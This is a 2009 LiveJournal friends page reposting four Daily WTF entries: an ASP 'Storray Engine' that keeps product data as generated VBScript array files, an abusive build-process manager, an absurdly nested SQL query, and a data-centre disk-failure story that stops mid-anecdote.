Keith Lawrence's Friends
[Most Recent Entries]
[Calendar View]
[Friends View]
Below are the most recent 9 friends' journal entries.
| Wednesday, December 30th, 2009 | |
rss_thedailywtf
|
2:00p |
Classic WTF: The Storray Engine http://thedailywtf.com/Articles/Classic-WTF-The-Storray-Engine.aspx The Storray Engine was originally published on November 23, 2006
As an independent .NET consultant, Steve gets called in to help smaller development teams to transition to the platform. Several weeks ago, a client had asked him to help rebuild some of their "core technologies" in .NET so they could offer it as a service to their clients. The first "technology" they wanted to upgrade was something called the Storray Engine.
At the requirements meeting, the brain behind the engine gave a quick summary: it's like having the benefit of a database without ever having to use SQL, ADO, or any of that stuff; just simple arrays. Then they dove into the code. First, they looked at the FindProducts.asp page. The beauty of it, the programmer explained, was that all you needed to do was include a single file, and you had access to all the products and could easily manipulate them with simple array functions ...
<!--#include virtual="/Code/StorrayEngine/Data/Products.asp" -->
Steve was curious how this include file might work, so they took a look ...
<%
Dim STORRAY_Products(487, 7)
...
STORRAY_Products(14,0) = "Black & Decker"
STORRAY_Products(14,1) = "Auto Tape Measure"
STORRAY_Products(14,2) = "ATM100"
STORRAY_Products(14,3) = "/products/images/bd_atm100.gif"
STORRAY_Products(14,4) = "<p>Extend and retract with the push of a button</p><ul><li>Blade ... "
STORRAY_Products(14,5) = "21.99"
STORRAY_Products(14,6) = "2"
STORRAY_Products(14,7) = "True"
...
STORRAY_Products(212,0) = "DeWalt"
STORRAY_Products(212,1) = "Heavy-Duty XRP 18V Cordless Combo Kit"
STORRAY_Products(212,2) = "DC6KTGA"
STORRAY_Products(212,3) = "/products/images/dw_dc6ktga.gif"
STORRAY_Products(212,4) = "<p>This 6 pc. tool set comes with our top of the line 18V XRP ..."
STORRAY_Products(212,5) = "599.99"
STORRAY_Products(212,6) = "84"
STORRAY_Products(212,7) = "True"
...
STORRAY_Products(345,0) = "Ryobi"
STORRAY_Products(345,1) = "1/2 In. 18 V 2-Speed Cordless Hammer Drill"
STORRAY_Products(345,2) = "P210"
STORRAY_Products(345,3) = "/products/images/ry_p210.gif"
STORRAY_Products(345,4) = "<p>Increase your confidence when you undertake tough drilling tasks ..."
STORRAY_Products(345,5) = "54.99"
STORRAY_Products(345,6) = "16"
STORRAY_Products(345,7) = "True"
%>
With a grin from ear to ear, proud to be showing off his masterpiece, the programmer proclaimed, That's it! It's that simple! Although Steve was trying to figure out a professional exit strategy at this point, he just had to ask about maintenance. The programmer gleefully replied that's where the *real* Storray Engine lies.
The tour of the Storray Engine continued with the ProductsMaintenance.asp page. Maintaining is just as easy, the brain explained, all you need to know is arrays ...
<!--#include virtual="/Code/StorrayEngine/Core.asp" -->
<!--#include virtual="/Code/StorrayEngine/Data/Products.asp" -->
The rest of the Products Maintenance page contained a few array manipulation functions and a call to a save function. All the real work is in the Core libraries, the programmer explained ...
'Core.asp - Main Storray Engine Library
...
Function STORRAYLIB_SaveArray(name, ByRef storray)
Dim fso, textfile, fileName, i, j
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fileName = Server.MapPath("/Code/StorrayEngine/Data/" & name & ".asp", True)
Set file = fso.CreateTextFile(fileName)
file.WriteLine "<" & "%" & vbCrlf
file.WriteLine _
"Dim STORRAY_" & name & "(" & UBound(storray, 1) & _
"," & UBound(storray, 2) & ")" & vbCrLf
For i = 0 To UBound(storray, 1)
For j = 0 To UBound(storray, 2)
file.Write _
"STORRAY_" & name & "(" & i & "," & j & ") = " & _
"""" & Replace(Replace(storray(i,j),"""",""""""),vbCrLf,"") & """" & vbCrLf
Next
Next
file.WriteLine "%" & ">" & vbCrlf
file.close
End Function
As Steve gawked at the wonder that was the Storray Engine, the programmer commented yeah, I just can't figure out how to bring this into .NET; I'm thinking using classes instead, but man, it's hard to compile stuff at run-time!. Steve gave up all together on professionalism and, without saying a word, got up, left, and went to the nearest bar for a drink.


|
| Tuesday, December 29th, 2009 | |
rss_thedailywtf
|
2:00p |
Classic WTF: The Chief Development Manager http://thedailywtf.com/Articles/Classic-WTF-The-Chief-Development-Manager.aspx The Chief Development Manager was originally published on April 4, 2007.
"Wait a sec," whispered Chris’s coworker David, "he can’t possibly think this will solve the Build Problem? His idea is completely absurd!"
Chris nodded slightly, clearly uncomfortable to be part of a conversation taking place in the middle of a meeting. Especially a meeting being held by the Chief Development Manager. While some managers like to lead by example, and others like to lead by befriending, the Chief Development Manager liked to lead by fear.
"I mean, seriously," David continued, "this will only make the problem much –"
"Oh I’m sorry," the Chief Development Manager barked, callously, "were you guys trying to have a meeting in here? Because, if I was interrupting you two, I can stop. And I’m sure all the fifty-three other developers sitting here have nothing better to do than wait for your little meeting to end."
David and Chris stared blankly, mouths agape.
"Oh. You’re done? Great! Let’s continue, then. That okay with you?"
That was exactly what Chris was trying to avoid. The Chief Development Manager was known to act condescendingly like that. In fact, Chris had witnessed similar outbursts like that in the past. He wasn’t too thrilled to be at the center of one this time around.
I wish it could be said that, deep down inside, the Chief Development Manager was a nice guy and just liked to dish out tough love. But he wasn’t. He was a cantankerous, spiteful little man who wielded a lot of power and used that power to make everyone around him miserable. And his latest idea – the new Build & Deploy Process – was just another step in that direction.
David was right, the new Build & Deploy Process was ridiculous and, with the hundreds of developers spread across four offices around the world, it could never work. But the Chief Development Manager had staked his reputation on it and had sold it to his higher-ups as The Solution to all of their build problems. It didn’t matter what anyone said, they were using his process.
The new plan was to have a fixed build schedule with strict deadlines. If a developer didn’t get his change in by 3PM Tuesday, then that change wasn’t going. No excuses, no exceptions. And to manage all of these changes, there would be a single Excel spreadsheet on a network share drive that each developer would be responsible for updating. They’d have to add a row for every file changed and include its path, the issue number, and the reason behind the change.
To almost no one’s surprise, the first build using this new process was a complete disaster. Most developers spent all of Tuesday fighting over the change spreadsheet, desperately clicking it and cursing the "this file is currently in use by..." dialogs. With all the haphazard updates, the build wouldn’t even compile.
The second build, the third build, the fourth build – all suffered the same problems. 200+ developers trying to a share a single spreadsheet around a hectic build schedule just didn’t work. The Business was getting a bit fed up with the lack of working builds on their test environments and went straight to the Chief Development Manager for an explanation. As you may have guessed, the Chief Development Manager passed the blame right on down to the development managers and even the developers themselves. He expressed concerns that they might even be trying to sabotage his system.
"This is complete bullshit," David complained to Chris, as they sat in another developers cube, "does executive management actually believe that? I’ve put in a helluva lot of hours this year, and this is just going to kill our bonuses! I’m going to say something. This just isn’t right!"
Chris agreed, but cautioned his coworker about raising a stink. Everyone knew that the Chief Development Manager was not one to be messed with. But David ignored Chris’s advice and started gathering a small group of developers. Together, they would set up a meeting about the Build Process, invite executive management, and directly confront the Chief Development Manager. They would not put up with his blame-passing laying down.
As you also may have guessed, the Chief Development Manager covertly told executive management that their attendance at a meeting about the Build Process was a waste of their time, and that he’d distill the results to them later. David and his fellow developers waltzed into the conference room expecting a big confrontation, only to find the Chief Development Manager calmly sitting down, feigning eagerness to listen to their complaints.
Before he even let David finish his first sentence, the Chief Development Manager snapped that the meeting was a complete waste of his time, as well as everyone else’s. He forcefully declared that there was nothing wrong with his system and that he didn’t appreciate lowly developers telling him how to do his job. The meeting was officially adjourned when the Chief Development Manager stormed out of the conference room.
A week later, the Chief Development Manager approached David and each of the other developers from the Build Process meeting and apologized to them.
I’m kidding. He fired them on the spot. As security led them away, one at a time, every developer knew why they were let go and who made it happen.
The next day, the Chief Development Manager sent an email to all developers letting them know that, effective immediately, a third-party build management system will be used to manage changes. A slightly different email went to the executives, informing them that the problems behind the new build process – i.e., the developers he just fired – were now solved.
While this may seem like a rather depressing ending, I will share with you an email that Chris received a few weeks later. It was from David. "Chris, my new job is fantastic. And best of all, there’s no Chief Development Manager."


|
| Monday, December 28th, 2009 | |
rss_thedailywtf
|
2:00p |
CodeSOD: SQL Error 191: Nested Way Too F#%&ing Deeply http://thedailywtf.com/Articles/SQL-Error-191-Nested-Way-Too-Fing-Deeply.aspx There are a few interesting things in software development that you’ll generally only learn about by working on “certain” types of applications. Take, for example, the HTTP 414 “Way Too F#%&ing Long” response: there’s no standardized upper limit and many web servers don’t even document how long GET requests may be.
While working with his company's service desk application, Ben noticed a similar type of error message come from SQL Server.
Incorrect syntax near '('.
Some part of your SQL statement is nested too deeply.
Rewrite the query or break it up into smaller queries.
It was Error 191 — another error with no (seemingly) documented upper limit — and was triggered by the following query.
SELECT DISTINCT COUNT(Task.RecId)
FROM Task
WHERE (Task.TaskType = @P514)
AND (Task.Status = @P1)
AND (Task.RecId is not null)
AND ((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((((
(((((((((((((((((((((((((((((((((((((((((((
(Task.OwnerTeam = @P2)
AND (Task.OwnerTeam = @P3))
AND (Task.OwnerTeam = @P4))
AND (Task.OwnerTeam = @P5))
AND (Task.OwnerTeam = @P6))
AND (Task.OwnerTeam = @P7))
AND (Task.OwnerTeam = @P8))
AND (Task.OwnerTeam = @P9))
AND (Task.OwnerTeam = @P10))
AND (Task.OwnerTeam = @P11))
AND (Task.OwnerTeam = @P12))
AND (Task.OwnerTeam = @P13))
AND (Task.OwnerTeam = @P14))
AND (Task.OwnerTeam = @P15))
AND (Task.OwnerTeam = @P16))
AND (Task.OwnerTeam = @P17))
AND (Task.OwnerTeam = @P18))
AND (Task.OwnerTeam = @P19))
AND (Task.OwnerTeam = @P20))
AND (Task.OwnerTeam = @P21))
AND (Task.OwnerTeam = @P22))
AND (Task.OwnerTeam = @P23))
AND (Task.OwnerTeam = @P24))
AND (Task.OwnerTeam = @P25))
AND (Task.OwnerTeam = @P26))
AND (Task.OwnerTeam = @P27))
AND (Task.OwnerTeam = @P28))
AND (Task.OwnerTeam = @P29))
AND (Task.OwnerTeam = @P30))
AND (Task.OwnerTeam = @P31))
AND (Task.OwnerTeam = @P32))
AND (Task.OwnerTeam = @P33))
AND (Task.OwnerTeam = @P34))
AND (Task.OwnerTeam = @P35))
AND (Task.OwnerTeam = @P36))
AND (Task.OwnerTeam = @P37))
AND (Task.OwnerTeam = @P38))
AND (Task.OwnerTeam = @P39))
AND (Task.OwnerTeam = @P40))
AND (Task.OwnerTeam = @P41))
AND (Task.OwnerTeam = @P42))
AND (Task.OwnerTeam = @P43))
AND (Task.OwnerTeam = @P44))
AND (Task.OwnerTeam = @P45))
AND (Task.OwnerTeam = @P46))
AND (Task.OwnerTeam = @P47))
AND (Task.OwnerTeam = @P48))
AND (Task.OwnerTeam = @P49))
AND (Task.OwnerTeam = @P50))
AND (Task.OwnerTeam = @P51))
AND (Task.OwnerTeam = @P52))
AND (Task.OwnerTeam = @P53))
AND (Task.OwnerTeam = @P54))
AND (Task.OwnerTeam = @P55))
AND (Task.OwnerTeam = @P56))
AND (Task.OwnerTeam = @P57))
AND (Task.OwnerTeam = @P58))
AND (Task.OwnerTeam = @P59))
AND (Task.OwnerTeam = @P60))
AND (Task.OwnerTeam = @P61))
AND (Task.OwnerTeam = @P62))
AND (Task.OwnerTeam = @P63))
AND (Task.OwnerTeam = @P64))
AND (Task.OwnerTeam = @P65))
AND (Task.OwnerTeam = @P66))
AND (Task.OwnerTeam = @P67))
AND (Task.OwnerTeam = @P68))
AND (Task.OwnerTeam = @P69))
AND (Task.OwnerTeam = @P70))
AND (Task.OwnerTeam = @P71))
AND (Task.OwnerTeam = @P72))
AND (Task.OwnerTeam = @P73))
AND (Task.OwnerTeam = @P74))
AND (Task.OwnerTeam = @P75))
AND (Task.OwnerTeam = @P76))
AND (Task.OwnerTeam = @P77))
AND (Task.OwnerTeam = @P78))
AND (Task.OwnerTeam = @P79))
AND (Task.OwnerTeam = @P80))
AND (Task.OwnerTeam = @P81))
AND (Task.OwnerTeam = @P82))
AND (Task.OwnerTeam = @P83))
AND (Task.OwnerTeam = @P84))
AND (Task.OwnerTeam = @P85))
AND (Task.OwnerTeam = @P86))
AND (Task.OwnerTeam = @P87))
AND (Task.OwnerTeam = @P88))
AND (Task.OwnerTeam = @P89))
AND (Task.OwnerTeam = @P90))
AND (Task.OwnerTeam = @P91))
AND (Task.OwnerTeam = @P92))
AND (Task.OwnerTeam = @P93))
AND (Task.OwnerTeam = @P94))
AND (Task.OwnerTeam = @P95))
AND (Task.OwnerTeam = @P96))
AND (Task.OwnerTeam = @P97))
AND (Task.OwnerTeam = @P98))
AND (Task.OwnerTeam = @P99))
AND (Task.OwnerTeam = @P100))
AND (Task.OwnerTeam = @P101))
AND (Task.OwnerTeam = @P102))
AND (Task.OwnerTeam = @P103))
AND (Task.OwnerTeam = @P104))
AND (Task.OwnerTeam = @P105))
AND (Task.OwnerTeam = @P106))
AND (Task.OwnerTeam = @P107))
AND (Task.OwnerTeam = @P108))
AND (Task.OwnerTeam = @P109))
AND (Task.OwnerTeam = @P110))
AND (Task.OwnerTeam = @P111))
AND (Task.OwnerTeam = @P112))
AND (Task.OwnerTeam = @P113))
AND (Task.OwnerTeam = @P114))
AND (Task.OwnerTeam = @P115))
AND (Task.OwnerTeam = @P116))
AND (Task.OwnerTeam = @P117))
AND (Task.OwnerTeam = @P118))
AND (Task.OwnerTeam = @P119))
AND (Task.OwnerTeam = @P120))
AND (Task.OwnerTeam = @P121))
AND (Task.OwnerTeam = @P122))
AND (Task.OwnerTeam = @P123))
AND (Task.OwnerTeam = @P124))
AND (Task.OwnerTeam = @P125))
AND (Task.OwnerTeam = @P126))
AND (Task.OwnerTeam = @P127))
AND (Task.OwnerTeam = @P128))
AND (Task.OwnerTeam = @P129))
AND (Task.OwnerTeam = @P130))
AND (Task.OwnerTeam = @P131))
AND (Task.OwnerTeam = @P132))
AND (Task.OwnerTeam = @P133))
AND (Task.OwnerTeam = @P134))
AND (Task.OwnerTeam = @P135))
AND (Task.OwnerTeam = @P136))
AND (Task.OwnerTeam = @P137))
AND (Task.OwnerTeam = @P138))
AND (Task.OwnerTeam = @P139))
AND (Task.OwnerTeam = @P140))
AND (Task.OwnerTeam = @P141))
AND (Task.OwnerTeam = @P142))
AND (Task.OwnerTeam = @P143))
AND (Task.OwnerTeam = @P144))
AND (Task.OwnerTeam = @P145))
AND (Task.OwnerTeam = @P146))
AND (Task.OwnerTeam = @P147))
AND (Task.OwnerTeam = @P148))
AND (Task.OwnerTeam = @P149))
AND (Task.OwnerTeam = @P150))
AND (Task.OwnerTeam = @P151))
AND (Task.OwnerTeam = @P152))
AND (Task.OwnerTeam = @P153))
AND (Task.OwnerTeam = @P154))
AND (Task.OwnerTeam = @P155))
AND (Task.OwnerTeam = @P156))
AND (Task.OwnerTeam = @P157))
AND (Task.OwnerTeam = @P158))
AND (Task.OwnerTeam = @P159))
AND (Task.OwnerTeam = @P160))
AND (Task.OwnerTeam = @P161))
AND (Task.OwnerTeam = @P162))
AND (Task.OwnerTeam = @P163))
AND (Task.OwnerTeam = @P164))
AND (Task.OwnerTeam = @P165))
AND (Task.OwnerTeam = @P166))
AND (Task.OwnerTeam = @P167))
AND (Task.OwnerTeam = @P168))
AND (Task.OwnerTeam = @P169))
AND (Task.OwnerTeam = @P170))
AND (Task.OwnerTeam = @P171))
AND (Task.OwnerTeam = @P172))
AND (Task.OwnerTeam = @P173))
AND (Task.OwnerTeam = @P174))
AND (Task.OwnerTeam = @P175))
AND (Task.OwnerTeam = @P176))
AND (Task.OwnerTeam = @P177))
AND (Task.OwnerTeam = @P178))
AND (Task.OwnerTeam = @P179))
AND (Task.OwnerTeam = @P180))
AND (Task.OwnerTeam = @P181))
AND (Task.OwnerTeam = @P182))
AND (Task.OwnerTeam = @P183))
AND (Task.OwnerTeam = @P184))
AND (Task.OwnerTeam = @P185))
AND (Task.OwnerTeam = @P186))
AND (Task.OwnerTeam = @P187))
AND (Task.OwnerTeam = @P188))
AND (Task.OwnerTeam = @P189))
AND (Task.OwnerTeam = @P190))
AND (Task.OwnerTeam = @P191))
AND (Task.OwnerTeam = @P192))
AND (Task.OwnerTeam = @P193))
AND (Task.OwnerTeam = @P194))
AND (Task.OwnerTeam = @P195))
AND (Task.OwnerTeam = @P196))
AND (Task.OwnerTeam = @P197))
AND (Task.OwnerTeam = @P198))
AND (Task.OwnerTeam = @P199))
AND (Task.OwnerTeam = @P200))
AND (Task.OwnerTeam = @P201))
AND (Task.OwnerTeam = @P202))
AND (Task.OwnerTeam = @P203))
AND (Task.OwnerTeam = @P204))
AND (Task.OwnerTeam = @P205))
AND (Task.OwnerTeam = @P206))
AND (Task.OwnerTeam = @P207))
AND (Task.OwnerTeam = @P208))
AND (Task.OwnerTeam = @P209))
AND (Task.OwnerTeam = @P210))
AND (Task.OwnerTeam = @P211))
AND (Task.OwnerTeam = @P212))
AND (Task.OwnerTeam = @P213))
AND (Task.OwnerTeam = @P214))
AND (Task.OwnerTeam = @P215))
AND (Task.OwnerTeam = @P216))
AND (Task.OwnerTeam = @P217))
AND (Task.OwnerTeam = @P218))
AND (Task.OwnerTeam = @P219))
AND (Task.OwnerTeam = @P220))
AND (Task.OwnerTeam = @P221))
AND (Task.OwnerTeam = @P222))
AND (Task.OwnerTeam = @P223))
AND (Task.OwnerTeam = @P224))
AND (Task.OwnerTeam = @P225))
AND (Task.OwnerTeam = @P226))
AND (Task.OwnerTeam = @P227))
AND (Task.OwnerTeam = @P228))
AND (Task.OwnerTeam = @P229))
AND (Task.OwnerTeam = @P230))
AND (Task.OwnerTeam = @P231))
AND (Task.OwnerTeam = @P232))
AND (Task.OwnerTeam = @P233))
AND (Task.OwnerTeam = @P234))
AND (Task.OwnerTeam = @P235))
AND (Task.OwnerTeam = @P236))
AND (Task.OwnerTeam = @P237))
AND (Task.OwnerTeam = @P238))
AND (Task.OwnerTeam = @P239))
AND (Task.OwnerTeam = @P240))
AND (Task.OwnerTeam = @P241))
AND (Task.OwnerTeam = @P242))
AND (Task.OwnerTeam = @P243))
AND (Task.OwnerTeam = @P244))
AND (Task.OwnerTeam = @P245))
AND (Task.OwnerTeam = @P246))
AND (Task.OwnerTeam = @P247))
AND (Task.OwnerTeam = @P248))
AND (Task.OwnerTeam = @P249))
AND (Task.OwnerTeam = @P250))
AND (Task.OwnerTeam = @P251))
AND (Task.OwnerTeam = @P252))
AND (Task.OwnerTeam = @P253))
AND (Task.OwnerTeam = @P254))
AND (Task.OwnerTeam = @P255))
AND (Task.OwnerTeam = @P256))
AND (Task.OwnerTeam = @P257))
AND (Task.OwnerTeam = @P258))
AND (Task.OwnerTeam = @P259))
AND (Task.OwnerTeam = @P260))
AND (Task.OwnerTeam = @P261))
AND (Task.OwnerTeam = @P262))
AND (Task.OwnerTeam = @P263))
AND (Task.OwnerTeam = @P264))
AND (Task.OwnerTeam = @P265))
AND (Task.OwnerTeam = @P266))
AND (Task.OwnerTeam = @P267))
AND (Task.OwnerTeam = @P268))
AND (Task.OwnerTeam = @P269))
AND (Task.OwnerTeam = @P270))
AND (Task.OwnerTeam = @P271))
AND (Task.OwnerTeam = @P272))
AND (Task.OwnerTeam = @P273))
AND (Task.OwnerTeam = @P274))
AND (Task.OwnerTeam = @P275))
AND (Task.OwnerTeam = @P276))
AND (Task.OwnerTeam = @P277))
AND (Task.OwnerTeam = @P278))
AND (Task.OwnerTeam = @P279))
AND (Task.OwnerTeam = @P280))
AND (Task.OwnerTeam = @P281))
AND (Task.OwnerTeam = @P282))
AND (Task.OwnerTeam = @P283))
AND (Task.OwnerTeam = @P284))
AND (Task.OwnerTeam = @P285))
AND (Task.OwnerTeam = @P286))
AND (Task.OwnerTeam = @P287))
AND (Task.OwnerTeam = @P288))
AND (Task.OwnerTeam = @P289))
AND (Task.OwnerTeam = @P290))
AND (Task.OwnerTeam = @P291))
AND (Task.OwnerTeam = @P292))
AND (Task.OwnerTeam = @P293))
AND (Task.OwnerTeam = @P294))
AND (Task.OwnerTeam = @P295))
AND (Task.OwnerTeam = @P296))
AND (Task.OwnerTeam = @P297))
AND (Task.OwnerTeam = @P298))
AND (Task.OwnerTeam = @P299))
AND (Task.OwnerTeam = @P300))
AND (Task.OwnerTeam = @P301))
AND (Task.OwnerTeam = @P302))
AND (Task.OwnerTeam = @P303))
AND (Task.OwnerTeam = @P304))
AND (Task.OwnerTeam = @P305))
AND (Task.OwnerTeam = @P306))
AND (Task.OwnerTeam = @P307))
AND (Task.OwnerTeam = @P308))
AND (Task.OwnerTeam = @P309))
AND (Task.OwnerTeam = @P310))
AND (Task.OwnerTeam = @P311))
AND (Task.OwnerTeam = @P312))
AND (Task.OwnerTeam = @P313))
AND (Task.OwnerTeam = @P314))
AND (Task.OwnerTeam = @P315))
AND (Task.OwnerTeam = @P316))
AND (Task.OwnerTeam = @P317))
AND (Task.OwnerTeam = @P318))
AND (Task.OwnerTeam = @P319))
AND (Task.OwnerTeam = @P320))
AND (Task.OwnerTeam = @P321))
AND (Task.OwnerTeam = @P322))
AND (Task.OwnerTeam = @P323))
AND (Task.OwnerTeam = @P324))
AND (Task.OwnerTeam = @P325))
AND (Task.OwnerTeam = @P326))
AND (Task.OwnerTeam = @P327))
AND (Task.OwnerTeam = @P328))
AND (Task.OwnerTeam = @P329))
AND (Task.OwnerTeam = @P330))
AND (Task.OwnerTeam = @P331))
AND (Task.OwnerTeam = @P332))
AND (Task.OwnerTeam = @P333))
AND (Task.OwnerTeam = @P334))
AND (Task.OwnerTeam = @P335))
AND (Task.OwnerTeam = @P336))
AND (Task.OwnerTeam = @P337))
AND (Task.OwnerTeam = @P338))
AND (Task.OwnerTeam = @P339))
AND (Task.OwnerTeam = @P340))
AND (Task.OwnerTeam = @P341))
AND (Task.OwnerTeam = @P342))
AND (Task.OwnerTeam = @P343))
AND (Task.OwnerTeam = @P344))
AND (Task.OwnerTeam = @P345))
AND (Task.OwnerTeam = @P346))
AND (Task.OwnerTeam = @P347))
AND (Task.OwnerTeam = @P348))
AND (Task.OwnerTeam = @P349))
AND (Task.OwnerTeam = @P350))
AND (Task.OwnerTeam = @P351))
AND (Task.OwnerTeam = @P352))
AND (Task.OwnerTeam = @P353))
AND (Task.OwnerTeam = @P354))
AND (Task.OwnerTeam = @P355))
AND (Task.OwnerTeam = @P356))
AND (Task.OwnerTeam = @P357))
AND (Task.OwnerTeam = @P358))
AND (Task.OwnerTeam = @P359))
AND (Task.OwnerTeam = @P360))
AND (Task.OwnerTeam = @P361))
AND (Task.OwnerTeam = @P362))
AND (Task.OwnerTeam = @P363))
AND (Task.OwnerTeam = @P364))
AND (Task.OwnerTeam = @P365))
AND (Task.OwnerTeam = @P366))
AND (Task.OwnerTeam = @P367))
AND (Task.OwnerTeam = @P368))
AND (Task.OwnerTeam = @P369))
AND (Task.OwnerTeam = @P370))
AND (Task.OwnerTeam = @P371))
AND (Task.OwnerTeam = @P372))
AND (Task.OwnerTeam = @P373))
AND (Task.OwnerTeam = @P374))
AND (Task.OwnerTeam = @P375))
AND (Task.OwnerTeam = @P376))
AND (Task.OwnerTeam = @P377))
AND (Task.OwnerTeam = @P378))
AND (Task.OwnerTeam = @P379))
AND (Task.OwnerTeam = @P380))
AND (Task.OwnerTeam = @P381))
AND (Task.OwnerTeam = @P382))
AND (Task.OwnerTeam = @P383))
AND (Task.OwnerTeam = @P384))
AND (Task.OwnerTeam = @P385))
AND (Task.OwnerTeam = @P386))
AND (Task.OwnerTeam = @P387))
AND (Task.OwnerTeam = @P388))
AND (Task.OwnerTeam = @P389))
AND (Task.OwnerTeam = @P390))
AND (Task.OwnerTeam = @P391))
AND (Task.OwnerTeam = @P392))
AND (Task.OwnerTeam = @P393))
AND (Task.OwnerTeam = @P394))
AND (Task.OwnerTeam = @P395))
AND (Task.OwnerTeam = @P396))
AND (Task.OwnerTeam = @P397))
AND (Task.OwnerTeam = @P398))
AND (Task.OwnerTeam = @P399))
AND (Task.OwnerTeam = @P400))
AND (Task.OwnerTeam = @P401))
AND (Task.OwnerTeam = @P402))
AND (Task.OwnerTeam = @P403))
AND (Task.OwnerTeam = @P404))
AND (Task.OwnerTeam = @P405))
AND (Task.OwnerTeam = @P406))
AND (Task.OwnerTeam = @P407))
AND (Task.OwnerTeam = @P408))
AND (Task.OwnerTeam = @P409))
AND (Task.OwnerTeam = @P410))
AND (Task.OwnerTeam = @P411))
AND (Task.OwnerTeam = @P412))
AND (Task.OwnerTeam = @P413))
AND (Task.OwnerTeam = @P414))
AND (Task.OwnerTeam = @P415))
AND (Task.OwnerTeam = @P416))
AND (Task.OwnerTeam = @P417))
AND (Task.OwnerTeam = @P418))
AND (Task.OwnerTeam = @P419))
AND (Task.OwnerTeam = @P420))
AND (Task.OwnerTeam = @P421))
AND (Task.OwnerTeam = @P422))
AND (Task.OwnerTeam = @P423))
AND (Task.OwnerTeam = @P424))
AND (Task.OwnerTeam = @P425))
AND (Task.OwnerTeam = @P426))
AND (Task.OwnerTeam = @P427))
AND (Task.OwnerTeam = @P428))
AND (Task.OwnerTeam = @P429))
AND (Task.OwnerTeam = @P430))
AND (Task.OwnerTeam = @P431))
AND (Task.OwnerTeam = @P432))
AND (Task.OwnerTeam = @P433))
AND (Task.OwnerTeam = @P434))
AND (Task.OwnerTeam = @P435))
AND (Task.OwnerTeam = @P436))
AND (Task.OwnerTeam = @P437))
AND (Task.OwnerTeam = @P438))
AND (Task.OwnerTeam = @P439))
AND (Task.OwnerTeam = @P440))
AND (Task.OwnerTeam = @P441))
AND (Task.OwnerTeam = @P442))
AND (Task.OwnerTeam = @P443))
AND (Task.OwnerTeam = @P444))
AND (Task.OwnerTeam = @P445))
AND (Task.OwnerTeam = @P446))
AND (Task.OwnerTeam = @P447))
AND (Task.OwnerTeam = @P448))
AND (Task.OwnerTeam = @P449))
AND (Task.OwnerTeam = @P450))
AND (Task.OwnerTeam = @P451))
AND (Task.OwnerTeam = @P452))
AND (Task.OwnerTeam = @P453))
AND (Task.OwnerTeam = @P454))
AND (Task.OwnerTeam = @P455))
AND (Task.OwnerTeam = @P456))
AND (Task.OwnerTeam = @P457))
AND (Task.OwnerTeam = @P458))
AND (Task.OwnerTeam = @P459))
AND (Task.OwnerTeam = @P460))
AND (Task.OwnerTeam = @P461))
AND (Task.OwnerTeam = @P462))
AND (Task.OwnerTeam = @P463))
AND (Task.OwnerTeam = @P464))
AND (Task.OwnerTeam = @P465))
AND (Task.OwnerTeam = @P466))
AND (Task.OwnerTeam = @P467))
AND (Task.OwnerTeam = @P468))
AND (Task.OwnerTeam = @P469))
AND (Task.OwnerTeam = @P470))
AND (Task.OwnerTeam = @P471))
AND (Task.OwnerTeam = @P472))
AND (Task.OwnerTeam = @P473))
AND (Task.OwnerTeam = @P474))
AND (Task.OwnerTeam = @P475))
AND (Task.OwnerTeam = @P476))
AND (Task.OwnerTeam = @P477))
AND (Task.OwnerTeam = @P478))
AND (Task.OwnerTeam = @P479))
AND (Task.OwnerTeam = @P480))
AND (Task.OwnerTeam = @P481))
AND (Task.OwnerTeam = @P482))
AND (Task.OwnerTeam = @P483))
AND (Task.OwnerTeam = @P484))
AND (Task.OwnerTeam = @P485))
AND (Task.OwnerTeam = @P486))
AND (Task.OwnerTeam = @P487))
AND (Task.OwnerTeam = @P488))
AND (Task.OwnerTeam = @P489))
AND (Task.OwnerTeam = @P490))
AND (Task.OwnerTeam = @P491))
AND (Task.OwnerTeam = @P492))
AND (Task.OwnerTeam = @P493))
AND (Task.OwnerTeam = @P494))
AND (Task.OwnerTeam = @P495))
AND (Task.OwnerTeam = @P496))
AND (Task.OwnerTeam = @P497))
AND (Task.OwnerTeam = @P498))
AND (Task.OwnerTeam = @P499))
AND (Task.OwnerTeam = @P500))
AND (Task.OwnerTeam = @P501))
AND (Task.OwnerTeam = @P502))
AND (Task.OwnerTeam = @P503))
AND (Task.OwnerTeam = @P504))
AND (Task.OwnerTeam = @P505))
AND (Task.OwnerTeam = @P506))
AND (Task.OwnerTeam = @P507))
AND (Task.OwnerTeam = @P508))
AND (Task.OwnerTeam = @P509))
AND (Task.OwnerTeam = @P510))
AND (Task.OwnerTeam = @P511))
AND (Task.OwnerTeam = @P512))
AND (Task.OwnerTeam = @P513)))
And I’d have to agree. That is nested way too f#%&ing deeply.


|
| Friday, December 25th, 2009 | |
rss_thedailywtf
|
5:00a |
Classic WTF: It Doubles as a Saw Horse http://thedailywtf.com/Articles/Classic-WTF-It-Doubles-as-a-Saw-Horse.aspx Merry Christmas! It Doubles as a Saw Horse was originally published on November 3, 2006.
A little more than a decade ago, John Rudd was a Computer Science student at the Georgia Institute of Technology. He worked closely with the university's IT department and played a vital role in the creation of a new state-of-the-art data center: he unplugged and labeled cables before the movers relocated the servers and plugged them back in at their new location. There was one thing that struck John as being a bit different: the data center wasn't fully built yet.
For the most part, the data center was complete and needed just a bit of interior work. This wasn't a big deal, though, as the contractors built a wall of plastic sheets around the area to be worked on and draped the servers with a giant plastic sheet, just to be safe. Some of the network administrators were worried about heat build-up, but after a few days of carefully monitoring the servers and watching them run cool and without issue, they worried no more.
Then, all of a sudden, one of the servers crashed. Hard. As in, a completely non-recoverable major disk failure. To make matters worse, it was the core file server and vital to the university's information systems. The network administrators had a new disk overnighted from the vendor, rebuilt the server, and restored all of the data from backup. The university was up and running again within 48 hours.
Then it happened again: major disk failure, non-recoverable. Overnight a disk, rebuild the server, and restore the data. You know the drill.
And then it happened a third time. The vendor didn't overnight a disk this time, they overnighted a technician and a disk. I don't think they shipped them in the same box, though. The technician confirmed that the disk itself was bad - not the controller, power supply, or anything else. On a whim, he cracked it open.
